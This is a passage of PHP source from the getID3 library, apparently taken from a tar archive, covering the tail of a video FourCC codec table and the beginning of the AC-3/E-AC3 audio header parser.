Lucent DVX3000S Video Decoder DX50 DivX v5 DXT1 Microsoft DirectX Compressed Texture (DXT1) DXT2 Microsoft DirectX Compressed Texture (DXT2) DXT3 Microsoft DirectX Compressed Texture (DXT3) DXT4 Microsoft DirectX Compressed Texture (DXT4) DXT5 Microsoft DirectX Compressed Texture (DXT5) DXTC Microsoft DirectX Compressed Texture (DXTC) DXTn Microsoft DirectX Compressed Texture (DXTn) EM2V Etymonix MPEG-2 I-frame (www.etymonix.com) EKQ0 Elsa ?EKQ0? ELK0 Elsa ?ELK0? ESCP Eidos Escape ETV1 eTreppid Video ETV1 ETV2 eTreppid Video ETV2 ETVC eTreppid Video ETVC FLIC Autodesk FLI/FLC Animation FLV1 Sorenson Spark FLV4 On2 TrueMotion VP6 FRWT Darim Vision Forward Motion JPEG (www.darvision.com) FRWU Darim Vision Forward Uncompressed (www.darvision.com) FLJP D-Vision Field Encoded Motion JPEG FPS1 FRAPS v1 FRWA SoftLab-Nsk Forward Motion JPEG w/ alpha channel FRWD SoftLab-Nsk Forward Motion JPEG FVF1 Iterated Systems Fractal Video Frame GLZW Motion LZW (gabest@freemail.hu) GPEG Motion JPEG (gabest@freemail.hu) GWLT Microsoft Greyscale WLT DIB H260 Intel ITU H.260 Videoconferencing H261 Intel ITU H.261 Videoconferencing H262 Intel ITU H.262 Videoconferencing H263 Intel ITU H.263 Videoconferencing H264 Intel ITU H.264 Videoconferencing H265 Intel ITU H.265 Videoconferencing H266 Intel ITU H.266 Videoconferencing H267 Intel ITU H.267 Videoconferencing H268 Intel ITU H.268 Videoconferencing H269 Intel ITU H.269 Videoconferencing HFYU Huffman Lossless Codec HMCR Rendition Motion Compensation Format (HMCR) HMRR Rendition Motion Compensation Format (HMRR) I263 FFmpeg I263 decoder IF09 Indeo YVU9 ("YVU9 with additional delta-frame info after the U plane") IUYV Interlaced version of UYVY (www.leadtools.com) IY41 Interlaced version of Y41P (www.leadtools.com) IYU1 12 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec IEEE standard IYU2 24 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec IEEE standard IYUV Planar YUV format (8-bpp Y plane, followed by 8-bpp 2×2 U and V planes) i263 Intel ITU H.263 Videoconferencing (i263) I420 Intel Indeo 4 IAN Intel Indeo 4 (RDX) ICLB InSoft CellB Videoconferencing IGOR Power DVD IJPG Intergraph JPEG ILVC Intel Layered Video ILVR ITU-T H.263+ IPDV I-O Data Device Giga AVI DV Codec IR21 Intel Indeo 2.1 IRAW Intel YUV Uncompressed IV30 Intel Indeo 3.0 IV31 Intel Indeo 3.1 IV32 Ligos Indeo 3.2 IV33 Ligos Indeo 3.3 IV34 Ligos Indeo 3.4 IV35 Ligos Indeo 3.5 IV36 Ligos Indeo 3.6 IV37 Ligos Indeo 3.7 IV38 Ligos Indeo 3.8 IV39 Ligos Indeo 3.9 IV40 Ligos Indeo Interactive 4.0 IV41 Ligos Indeo Interactive 4.1 IV42 Ligos Indeo Interactive 4.2 IV43 Ligos Indeo Interactive 4.3 IV44 Ligos Indeo Interactive 4.4 IV45 Ligos Indeo Interactive 4.5 IV46 Ligos Indeo Interactive 4.6 IV47 Ligos Indeo Interactive 4.7 IV48 Ligos Indeo Interactive 4.8 IV49 Ligos Indeo Interactive 4.9 IV50 Ligos Indeo Interactive 5.0 JBYR Kensington ?JBYR? JPEG Still Image JPEG DIB JPGL Pegasus Lossless Motion JPEG KMVC Team17 Software Karl Morton\'s Video Codec LSVM Vianet Lighting Strike Vmail (Streaming) (www.vianet.com) LEAD LEAD Video Codec Ljpg LEAD MJPEG Codec MDVD Alex MicroDVD Video (hacked MS MPEG-4) (www.tiasoft.de) MJPA Morgan Motion JPEG (MJPA) (www.morgan-multimedia.com) MJPB Morgan Motion JPEG (MJPB) (www.morgan-multimedia.com) MMES Matrox MPEG-2 I-frame MP2v Microsoft S-Mpeg 4 version 1 (MP2v) MP42 Microsoft S-Mpeg 4 version 2 (MP42) MP43 Microsoft S-Mpeg 4 version 3 (MP43) MP4S Microsoft S-Mpeg 4 version 3 (MP4S) MP4V FFmpeg MPEG-4 MPG1 FFmpeg MPEG 1/2 MPG2 FFmpeg MPEG 1/2 MPG3 FFmpeg DivX ;-) (MS MPEG-4 v3) MPG4 Microsoft MPEG-4 MPGI Sigma Designs MPEG MPNG PNG images decoder MSS1 Microsoft Windows Screen Video MSZH LCL (Lossless Codec Library) (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm) M261 Microsoft H.261 M263 Microsoft H.263 M4S2 Microsoft Fully Compliant MPEG-4 v2 simple profile (M4S2) m4s2 Microsoft Fully Compliant MPEG-4 v2 simple profile (m4s2) MC12 ATI Motion Compensation Format (MC12) MCAM ATI Motion Compensation Format (MCAM) MJ2C Morgan Multimedia Motion JPEG2000 mJPG IBM Motion JPEG w/ Huffman Tables MJPG Microsoft Motion JPEG DIB MP42 Microsoft MPEG-4 (low-motion) MP43 Microsoft MPEG-4 (fast-motion) MP4S Microsoft MPEG-4 (MP4S) mp4s Microsoft MPEG-4 (mp4s) MPEG Chromatic Research MPEG-1 Video I-Frame MPG4 Microsoft MPEG-4 Video High Speed Compressor MPGI Sigma Designs MPEG MRCA FAST Multimedia Martin Regen Codec MRLE Microsoft Run Length Encoding MSVC Microsoft Video 1 MTX1 Matrox ?MTX1? MTX2 Matrox ?MTX2? MTX3 Matrox ?MTX3? MTX4 Matrox ?MTX4? MTX5 Matrox ?MTX5? MTX6 Matrox ?MTX6? MTX7 Matrox ?MTX7? MTX8 Matrox ?MTX8? MTX9 Matrox ?MTX9? MV12 Motion Pixels Codec (old) MWV1 Aware Motion Wavelets nAVI SMR Codec (hack of Microsoft MPEG-4) (IRC #shadowrealm) NT00 NewTek LightWave HDTV YUV w/ Alpha (www.newtek.com) NUV1 NuppelVideo NTN1 Nogatech Video Compression 1 NVS0 nVidia GeForce Texture (NVS0) NVS1 nVidia GeForce Texture (NVS1) NVS2 nVidia GeForce Texture (NVS2) NVS3 nVidia GeForce Texture (NVS3) NVS4 nVidia GeForce Texture (NVS4) NVS5 nVidia GeForce Texture (NVS5) NVT0 nVidia GeForce Texture (NVT0) NVT1 nVidia GeForce Texture (NVT1) NVT2 nVidia GeForce Texture (NVT2) NVT3 nVidia GeForce Texture (NVT3) NVT4 nVidia GeForce Texture (NVT4) NVT5 nVidia GeForce Texture (NVT5) PIXL MiroXL, Pinnacle PCTV PDVC I-O Data Device Digital Video Capture DV codec PGVV Radius Video Vision PHMO IBM Photomotion PIM1 MPEG Realtime (Pinnacle Cards) PIM2 Pegasus Imaging ?PIM2? PIMJ Pegasus Imaging Lossless JPEG PVEZ Horizons Technology PowerEZ PVMM PacketVideo Corporation MPEG-4 PVW2 Pegasus Imaging Wavelet Compression Q1.0 Q-Team\'s QPEG 1.0 (www.q-team.de) Q1.1 Q-Team\'s QPEG 1.1 (www.q-team.de) QPEG Q-Team QPEG 1.0 qpeq Q-Team QPEG 1.1 RGB Raw BGR32 RGBA Raw RGB w/ Alpha RMP4 REALmagic MPEG-4 (unauthorized XVID copy) (www.sigmadesigns.com) ROQV Id RoQ File Video Decoder RPZA Quicktime Apple Video (RPZA) RUD0 Rududu video codec (http://rududu.ifrance.com/rududu/) RV10 RealVideo 1.0 (aka RealVideo 5.0) RV13 RealVideo 1.0 (RV13) RV20 RealVideo G2 RV30 RealVideo 8 RV40 RealVideo 9 RGBT Raw RGB w/ Transparency RLE Microsoft Run Length Encoder RLE4 Run Length Encoded (4bpp, 16-color) RLE8 Run Length Encoded (8bpp, 256-color) RT21 Intel Indeo RealTime Video 2.1 rv20 RealVideo G2 rv30 RealVideo 8 RVX Intel RDX (RVX ) SMC Apple Graphics (SMC ) SP54 Logitech Sunplus Sp54 Codec for Mustek GSmart Mini 2 SPIG Radius Spigot SVQ3 Sorenson Video 3 (Apple Quicktime 5) s422 Tekram VideoCap C210 YUV 4:2:2 SDCC Sun Communication Digital Camera Codec SFMC CrystalNet Surface Fitting Method SMSC Radius SMSC SMSD Radius SMSD smsv WorldConnect Wavelet Video SPIG Radius Spigot SPLC Splash Studios ACM Audio Codec (www.splashstudios.net) SQZ2 Microsoft VXTreme Video Codec V2 STVA ST Microelectronics CMOS Imager Data (Bayer) STVB ST Microelectronics CMOS Imager Data (Nudged Bayer) STVC ST Microelectronics CMOS Imager Data (Bunched) STVX ST Microelectronics CMOS Imager Data (Extended CODEC Data Format) STVY ST Microelectronics CMOS Imager Data (Extended CODEC Data Format with Correction Data) SV10 Sorenson Video R1 SVQ1 Sorenson Video T420 Toshiba YUV 4:2:0 TM2A Duck TrueMotion Archiver 2.0 (www.duck.com) TVJP Pinnacle/Truevision Targa 2000 board (TVJP) TVMJ Pinnacle/Truevision Targa 2000 board (TVMJ) TY0N Tecomac Low-Bit Rate Codec (www.tecomac.com) TY2C Trident Decompression Driver TLMS TeraLogic Motion Intraframe Codec (TLMS) TLST TeraLogic Motion Intraframe Codec (TLST) TM20 Duck TrueMotion 2.0 TM2X Duck TrueMotion 2X TMIC TeraLogic Motion Intraframe Codec (TMIC) TMOT Horizons Technology TrueMotion S tmot Horizons TrueMotion Video Compression TR20 Duck TrueMotion RealTime 2.0 TSCC TechSmith Screen Capture Codec TV10 Tecomac Low-Bit Rate Codec TY2N Trident ?TY2N? U263 UB Video H.263/H.263+/H.263++ Decoder UMP4 UB Video MPEG 4 (www.ubvideo.com) UYNV Nvidia UYVY packed 4:2:2 UYVP Evans & Sutherland YCbCr 4:2:2 extended precision UCOD eMajix.com ClearVideo ULTI IBM Ultimotion UYVY UYVY packed 4:2:2 V261 Lucent VX2000S VIFP VFAPI Reader Codec (www.yks.ne.jp/~hori/) VIV1 FFmpeg H263+ decoder VIV2 Vivo H.263 VQC2 Vector-quantised codec 2 (research) http://eprints.ecs.soton.ac.uk/archive/00001310/01/VTC97-js.pdf) VTLP Alaris VideoGramPiX VYU9 ATI YUV (VYU9) VYUY ATI YUV (VYUY) V261 Lucent VX2000S V422 Vitec Multimedia 24-bit YUV 4:2:2 Format V655 Vitec Multimedia 16-bit YUV 4:2:2 Format VCR1 ATI Video Codec 1 VCR2 ATI Video Codec 2 VCR3 ATI VCR 3.0 VCR4 ATI VCR 4.0 VCR5 ATI VCR 5.0 VCR6 ATI VCR 6.0 VCR7 ATI VCR 7.0 VCR8 ATI VCR 8.0 VCR9 ATI VCR 9.0 VDCT Vitec Multimedia Video Maker Pro DIB VDOM VDOnet VDOWave VDOW VDOnet VDOLive (H.263) VDTZ Darim Vison VideoTizer YUV VGPX Alaris VideoGramPiX VIDS Vitec Multimedia YUV 4:2:2 CCIR 601 for V422 VIVO Vivo H.263 v2.00 vivo Vivo H.263 VIXL Miro/Pinnacle Video XL VLV1 VideoLogic/PURE Digital Videologic Capture VP30 On2 VP3.0 VP31 On2 VP3.1 VP6F On2 TrueMotion VP6 VX1K Lucent VX1000S Video Codec VX2K Lucent VX2000S Video Codec VXSP Lucent VX1000SP Video Codec WBVC Winbond W9960 WHAM Microsoft Video 1 (WHAM) WINX Winnov Software Compression WJPG AverMedia Winbond JPEG WMV1 Windows Media Video V7 WMV2 Windows Media Video V8 WMV3 Windows Media Video V9 WNV1 Winnov Hardware Compression XYZP Extended PAL format XYZ palette (www.riff.org) x263 Xirlink H.263 XLV0 NetXL Video Decoder XMPG Xing MPEG (I-Frame only) XVID XviD MPEG-4 (www.xvid.org) XXAN ?XXAN? YU92 Intel YUV (YU92) YUNV Nvidia Uncompressed YUV 4:2:2 YUVP Extended PAL format YUV palette (www.riff.org) Y211 YUV 2:1:1 Packed Y411 YUV 4:1:1 Packed Y41B Weitek YUV 4:1:1 Planar Y41P Brooktree PC1 YUV 4:1:1 Packed Y41T Brooktree PC1 YUV 4:1:1 with transparency Y42B Weitek YUV 4:2:2 Planar Y42T Brooktree UYUV 4:2:2 with transparency Y422 ADS Technologies Copy of UYVY used in Pyro WebCam firewire camera Y800 Simple, single Y plane for monochrome images Y8 Grayscale video YC12 Intel YUV 12 codec YUV8 Winnov Caviar YUV8 YUV9 Intel YUV9 YUY2 Uncompressed YUV 4:2:2 YUYV Canopus YUV YV12 YVU12 Planar YVU9 Intel YVU9 Planar (8-bpp Y plane, followed by 8-bpp 4x4 U and V planes) YVYU YVYU 4:2:2 Packed ZLIB Lossless Codec Library zlib compression (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm) ZPEG Metheus Video Zipper */ return getid3_lib::EmbeddedLookup($fourcc, $begin, __LINE__, __FILE__, 'riff-fourcc'); } /** * @param string $byteword * @param bool $signed * * @return int|float|false */ private function EitherEndian2Int($byteword, $signed=false) { if ($this->container == 'riff') { return getid3_lib::LittleEndian2Int($byteword, $signed); } return getid3_lib::BigEndian2Int($byteword, false, $signed); } } ID3/module.audio.ac3.php000064400000114730151202620270010671 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio.ac3.php // // module for analyzing AC-3 (aka Dolby Digital) audio files // // dependencies: NONE // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } class getid3_ac3 extends getid3_handler { /** * @var array */ private $AC3header = array(); /** * @var int */ private $BSIoffset = 0; const syncword = 0x0B77; /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; ///AH $info['ac3']['raw']['bsi'] = array(); $thisfile_ac3 = &$info['ac3']; $thisfile_ac3_raw = &$thisfile_ac3['raw']; $thisfile_ac3_raw_bsi = &$thisfile_ac3_raw['bsi']; // http://www.atsc.org/standards/a_52a.pdf $info['fileformat'] = 'ac3'; // An AC-3 serial coded audio bit stream is made up of a sequence of synchronization frames // Each synchronization frame contains 6 coded audio blocks (AB), each of which represent 256 // new audio samples per channel. A synchronization information (SI) header at the beginning // of each frame contains information needed to acquire and maintain synchronization. A // bit stream information (BSI) header follows SI, and contains parameters describing the coded // audio service. The coded audio blocks may be followed by an auxiliary data (Aux) field. At the // end of each frame is an error check field that includes a CRC word for error detection. An // additional CRC word is located in the SI header, the use of which, by a decoder, is optional. // // syncinfo() | bsi() | AB0 | AB1 | AB2 | AB3 | AB4 | AB5 | Aux | CRC // syncinfo() { // syncword 16 // crc1 16 // fscod 2 // frmsizecod 6 // } /* end of syncinfo */ $this->fseek($info['avdataoffset']); $tempAC3header = $this->fread(100); // should be enough to cover all data, there are some variable-length fields...? $this->AC3header['syncinfo'] = getid3_lib::BigEndian2Int(substr($tempAC3header, 0, 2)); $this->AC3header['bsi'] = getid3_lib::BigEndian2Bin(substr($tempAC3header, 2)); $thisfile_ac3_raw_bsi['bsid'] = (getid3_lib::LittleEndian2Int(substr($tempAC3header, 5, 1)) & 0xF8) >> 3; // AC3 and E-AC3 put the "bsid" version identifier in the same place, but unfortnately the 4 bytes between the syncword and the version identifier are interpreted differently, so grab it here so the following code structure can make sense unset($tempAC3header); if ($this->AC3header['syncinfo'] !== self::syncword) { if (!$this->isDependencyFor('matroska')) { unset($info['fileformat'], $info['ac3']); return $this->error('Expecting "'.dechex(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.dechex($this->AC3header['syncinfo']).'"'); } } $info['audio']['dataformat'] = 'ac3'; $info['audio']['bitrate_mode'] = 'cbr'; $info['audio']['lossless'] = false; if ($thisfile_ac3_raw_bsi['bsid'] <= 8) { $thisfile_ac3_raw_bsi['crc1'] = getid3_lib::Bin2Dec($this->readHeaderBSI(16)); $thisfile_ac3_raw_bsi['fscod'] = $this->readHeaderBSI(2); // 5.4.1.3 $thisfile_ac3_raw_bsi['frmsizecod'] = $this->readHeaderBSI(6); // 5.4.1.4 if ($thisfile_ac3_raw_bsi['frmsizecod'] > 37) { // binary: 100101 - see Table 5.18 Frame Size Code Table (1 word = 16 bits) $this->warning('Unexpected ac3.bsi.frmsizecod value: '.$thisfile_ac3_raw_bsi['frmsizecod'].', bitrate not set correctly'); } $thisfile_ac3_raw_bsi['bsid'] = $this->readHeaderBSI(5); // we already know this from pre-parsing the version identifier, but re-read it to let the bitstream flow as intended $thisfile_ac3_raw_bsi['bsmod'] = $this->readHeaderBSI(3); $thisfile_ac3_raw_bsi['acmod'] = $this->readHeaderBSI(3); if ($thisfile_ac3_raw_bsi['acmod'] & 0x01) { // If the lsb of acmod is a 1, center channel is in use and cmixlev follows in the bit stream. $thisfile_ac3_raw_bsi['cmixlev'] = $this->readHeaderBSI(2); $thisfile_ac3['center_mix_level'] = self::centerMixLevelLookup($thisfile_ac3_raw_bsi['cmixlev']); } if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) { // If the msb of acmod is a 1, surround channels are in use and surmixlev follows in the bit stream. $thisfile_ac3_raw_bsi['surmixlev'] = $this->readHeaderBSI(2); $thisfile_ac3['surround_mix_level'] = self::surroundMixLevelLookup($thisfile_ac3_raw_bsi['surmixlev']); } if ($thisfile_ac3_raw_bsi['acmod'] == 0x02) { // When operating in the two channel mode, this 2-bit code indicates whether or not the program has been encoded in Dolby Surround. $thisfile_ac3_raw_bsi['dsurmod'] = $this->readHeaderBSI(2); $thisfile_ac3['dolby_surround_mode'] = self::dolbySurroundModeLookup($thisfile_ac3_raw_bsi['dsurmod']); } $thisfile_ac3_raw_bsi['flags']['lfeon'] = (bool) $this->readHeaderBSI(1); // This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31. // The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent. $thisfile_ac3_raw_bsi['dialnorm'] = $this->readHeaderBSI(5); // 5.4.2.8 dialnorm: Dialogue Normalization, 5 Bits $thisfile_ac3_raw_bsi['flags']['compr'] = (bool) $this->readHeaderBSI(1); // 5.4.2.9 compre: Compression Gain Word Exists, 1 Bit if ($thisfile_ac3_raw_bsi['flags']['compr']) { $thisfile_ac3_raw_bsi['compr'] = $this->readHeaderBSI(8); // 5.4.2.10 compr: Compression Gain Word, 8 Bits $thisfile_ac3['heavy_compression'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr']); } $thisfile_ac3_raw_bsi['flags']['langcod'] = (bool) $this->readHeaderBSI(1); // 5.4.2.11 langcode: Language Code Exists, 1 Bit if ($thisfile_ac3_raw_bsi['flags']['langcod']) { $thisfile_ac3_raw_bsi['langcod'] = $this->readHeaderBSI(8); // 5.4.2.12 langcod: Language Code, 8 Bits } $thisfile_ac3_raw_bsi['flags']['audprodinfo'] = (bool) $this->readHeaderBSI(1); // 5.4.2.13 audprodie: Audio Production Information Exists, 1 Bit if ($thisfile_ac3_raw_bsi['flags']['audprodinfo']) { $thisfile_ac3_raw_bsi['mixlevel'] = $this->readHeaderBSI(5); // 5.4.2.14 mixlevel: Mixing Level, 5 Bits $thisfile_ac3_raw_bsi['roomtyp'] = $this->readHeaderBSI(2); // 5.4.2.15 roomtyp: Room Type, 2 Bits $thisfile_ac3['mixing_level'] = (80 + $thisfile_ac3_raw_bsi['mixlevel']).'dB'; $thisfile_ac3['room_type'] = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp']); } $thisfile_ac3_raw_bsi['dialnorm2'] = $this->readHeaderBSI(5); // 5.4.2.16 dialnorm2: Dialogue Normalization, ch2, 5 Bits $thisfile_ac3['dialogue_normalization2'] = '-'.$thisfile_ac3_raw_bsi['dialnorm2'].'dB'; // This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31. The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent. $thisfile_ac3_raw_bsi['flags']['compr2'] = (bool) $this->readHeaderBSI(1); // 5.4.2.17 compr2e: Compression Gain Word Exists, ch2, 1 Bit if ($thisfile_ac3_raw_bsi['flags']['compr2']) { $thisfile_ac3_raw_bsi['compr2'] = $this->readHeaderBSI(8); // 5.4.2.18 compr2: Compression Gain Word, ch2, 8 Bits $thisfile_ac3['heavy_compression2'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr2']); } $thisfile_ac3_raw_bsi['flags']['langcod2'] = (bool) $this->readHeaderBSI(1); // 5.4.2.19 langcod2e: Language Code Exists, ch2, 1 Bit if ($thisfile_ac3_raw_bsi['flags']['langcod2']) { $thisfile_ac3_raw_bsi['langcod2'] = $this->readHeaderBSI(8); // 5.4.2.20 langcod2: Language Code, ch2, 8 Bits } $thisfile_ac3_raw_bsi['flags']['audprodinfo2'] = (bool) $this->readHeaderBSI(1); // 5.4.2.21 audprodi2e: Audio Production Information Exists, ch2, 1 Bit if ($thisfile_ac3_raw_bsi['flags']['audprodinfo2']) { $thisfile_ac3_raw_bsi['mixlevel2'] = $this->readHeaderBSI(5); // 5.4.2.22 mixlevel2: Mixing Level, ch2, 5 Bits $thisfile_ac3_raw_bsi['roomtyp2'] = $this->readHeaderBSI(2); // 5.4.2.23 roomtyp2: Room Type, ch2, 2 Bits $thisfile_ac3['mixing_level2'] = (80 + $thisfile_ac3_raw_bsi['mixlevel2']).'dB'; $thisfile_ac3['room_type2'] = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp2']); } $thisfile_ac3_raw_bsi['copyright'] = (bool) $this->readHeaderBSI(1); // 5.4.2.24 copyrightb: Copyright Bit, 1 Bit $thisfile_ac3_raw_bsi['original'] = (bool) $this->readHeaderBSI(1); // 5.4.2.25 origbs: Original Bit Stream, 1 Bit $thisfile_ac3_raw_bsi['flags']['timecod1'] = $this->readHeaderBSI(2); // 5.4.2.26 timecod1e, timcode2e: Time Code (first and second) Halves Exist, 2 Bits if ($thisfile_ac3_raw_bsi['flags']['timecod1'] & 0x01) { $thisfile_ac3_raw_bsi['timecod1'] = $this->readHeaderBSI(14); // 5.4.2.27 timecod1: Time code first half, 14 bits $thisfile_ac3['timecode1'] = 0; $thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x3E00) >> 9) * 3600; // The first 5 bits of this 14-bit field represent the time in hours, with valid values of 0�23 $thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x01F8) >> 3) * 60; // The next 6 bits represent the time in minutes, with valid values of 0�59 $thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x0003) >> 0) * 8; // The final 3 bits represents the time in 8 second increments, with valid values of 0�7 (representing 0, 8, 16, ... 56 seconds) } if ($thisfile_ac3_raw_bsi['flags']['timecod1'] & 0x02) { $thisfile_ac3_raw_bsi['timecod2'] = $this->readHeaderBSI(14); // 5.4.2.28 timecod2: Time code second half, 14 bits $thisfile_ac3['timecode2'] = 0; $thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x3800) >> 11) * 1; // The first 3 bits of this 14-bit field represent the time in seconds, with valid values from 0�7 (representing 0-7 seconds) $thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x07C0) >> 6) * (1 / 30); // The next 5 bits represents the time in frames, with valid values from 0�29 (one frame = 1/30th of a second) $thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x003F) >> 0) * ((1 / 30) / 60); // The final 6 bits represents fractions of 1/64 of a frame, with valid values from 0�63 } $thisfile_ac3_raw_bsi['flags']['addbsi'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['addbsi']) { $thisfile_ac3_raw_bsi['addbsi_length'] = $this->readHeaderBSI(6) + 1; // This 6-bit code, which exists only if addbside is a 1, indicates the length in bytes of additional bit stream information. The valid range of addbsil is 0�63, indicating 1�64 additional bytes, respectively. $this->AC3header['bsi'] .= getid3_lib::BigEndian2Bin($this->fread($thisfile_ac3_raw_bsi['addbsi_length'])); $thisfile_ac3_raw_bsi['addbsi_data'] = substr($this->AC3header['bsi'], $this->BSIoffset, $thisfile_ac3_raw_bsi['addbsi_length'] * 8); $this->BSIoffset += $thisfile_ac3_raw_bsi['addbsi_length'] * 8; } } elseif ($thisfile_ac3_raw_bsi['bsid'] <= 16) { // E-AC3 $this->error('E-AC3 parsing is incomplete and experimental in this version of getID3 ('.$this->getid3->version().'). Notably the bitrate calculations are wrong -- value might (or not) be correct, but it is not calculated correctly. Email info@getid3.org if you know how to calculate EAC3 bitrate correctly.'); $info['audio']['dataformat'] = 'eac3'; $thisfile_ac3_raw_bsi['strmtyp'] = $this->readHeaderBSI(2); $thisfile_ac3_raw_bsi['substreamid'] = $this->readHeaderBSI(3); $thisfile_ac3_raw_bsi['frmsiz'] = $this->readHeaderBSI(11); $thisfile_ac3_raw_bsi['fscod'] = $this->readHeaderBSI(2); if ($thisfile_ac3_raw_bsi['fscod'] == 3) { $thisfile_ac3_raw_bsi['fscod2'] = $this->readHeaderBSI(2); $thisfile_ac3_raw_bsi['numblkscod'] = 3; // six blocks per syncframe } else { $thisfile_ac3_raw_bsi['numblkscod'] = $this->readHeaderBSI(2); } $thisfile_ac3['bsi']['blocks_per_sync_frame'] = self::blocksPerSyncFrame($thisfile_ac3_raw_bsi['numblkscod']); $thisfile_ac3_raw_bsi['acmod'] = $this->readHeaderBSI(3); $thisfile_ac3_raw_bsi['flags']['lfeon'] = (bool) $this->readHeaderBSI(1); $thisfile_ac3_raw_bsi['bsid'] = $this->readHeaderBSI(5); // we already know this from pre-parsing the version identifier, but re-read it to let the bitstream flow as intended $thisfile_ac3_raw_bsi['dialnorm'] = $this->readHeaderBSI(5); $thisfile_ac3_raw_bsi['flags']['compr'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['compr']) { $thisfile_ac3_raw_bsi['compr'] = $this->readHeaderBSI(8); } if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value) $thisfile_ac3_raw_bsi['dialnorm2'] = $this->readHeaderBSI(5); $thisfile_ac3_raw_bsi['flags']['compr2'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['compr2']) { $thisfile_ac3_raw_bsi['compr2'] = $this->readHeaderBSI(8); } } if ($thisfile_ac3_raw_bsi['strmtyp'] == 1) { // if dependent stream $thisfile_ac3_raw_bsi['flags']['chanmap'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['chanmap']) { $thisfile_ac3_raw_bsi['chanmap'] = $this->readHeaderBSI(8); } } $thisfile_ac3_raw_bsi['flags']['mixmdat'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['mixmdat']) { // Mixing metadata if ($thisfile_ac3_raw_bsi['acmod'] > 2) { // if more than 2 channels $thisfile_ac3_raw_bsi['dmixmod'] = $this->readHeaderBSI(2); } if (($thisfile_ac3_raw_bsi['acmod'] & 0x01) && ($thisfile_ac3_raw_bsi['acmod'] > 2)) { // if three front channels exist $thisfile_ac3_raw_bsi['ltrtcmixlev'] = $this->readHeaderBSI(3); $thisfile_ac3_raw_bsi['lorocmixlev'] = $this->readHeaderBSI(3); } if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) { // if a surround channel exists $thisfile_ac3_raw_bsi['ltrtsurmixlev'] = $this->readHeaderBSI(3); $thisfile_ac3_raw_bsi['lorosurmixlev'] = $this->readHeaderBSI(3); } if ($thisfile_ac3_raw_bsi['flags']['lfeon']) { // if the LFE channel exists $thisfile_ac3_raw_bsi['flags']['lfemixlevcod'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['lfemixlevcod']) { $thisfile_ac3_raw_bsi['lfemixlevcod'] = $this->readHeaderBSI(5); } } if ($thisfile_ac3_raw_bsi['strmtyp'] == 0) { // if independent stream $thisfile_ac3_raw_bsi['flags']['pgmscl'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['pgmscl']) { $thisfile_ac3_raw_bsi['pgmscl'] = $this->readHeaderBSI(6); } if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value) $thisfile_ac3_raw_bsi['flags']['pgmscl2'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['pgmscl2']) { $thisfile_ac3_raw_bsi['pgmscl2'] = $this->readHeaderBSI(6); } } $thisfile_ac3_raw_bsi['flags']['extpgmscl'] = (bool) $this->readHeaderBSI(1); if ($thisfile_ac3_raw_bsi['flags']['extpgmscl']) { $thisfile_ac3_raw_bsi['extpgmscl'] = $this->readHeaderBSI(6); } $thisfile_ac3_raw_bsi['mixdef'] = $this->readHeaderBSI(2); if ($thisfile_ac3_raw_bsi['mixdef'] == 1) { // mixing option 2 $thisfile_ac3_raw_bsi['premixcmpsel'] = (bool) $this->readHeaderBSI(1); $thisfile_ac3_raw_bsi['drcsrc'] = (bool) $this->readHeaderBSI(1); $thisfile_ac3_raw_bsi['premixcmpscl'] = $this->readHeaderBSI(3); } elseif ($thisfile_ac3_raw_bsi['mixdef'] == 2) { // mixing option 3 $thisfile_ac3_raw_bsi['mixdata'] = $this->readHeaderBSI(12); } elseif ($thisfile_ac3_raw_bsi['mixdef'] == 3) { // mixing option 4 $mixdefbitsread = 0; $thisfile_ac3_raw_bsi['mixdeflen'] = $this->readHeaderBSI(5); $mixdefbitsread += 5; $thisfile_ac3_raw_bsi['flags']['mixdata2'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; if ($thisfile_ac3_raw_bsi['flags']['mixdata2']) { $thisfile_ac3_raw_bsi['premixcmpsel'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; $thisfile_ac3_raw_bsi['drcsrc'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; $thisfile_ac3_raw_bsi['premixcmpscl'] = $this->readHeaderBSI(3); $mixdefbitsread += 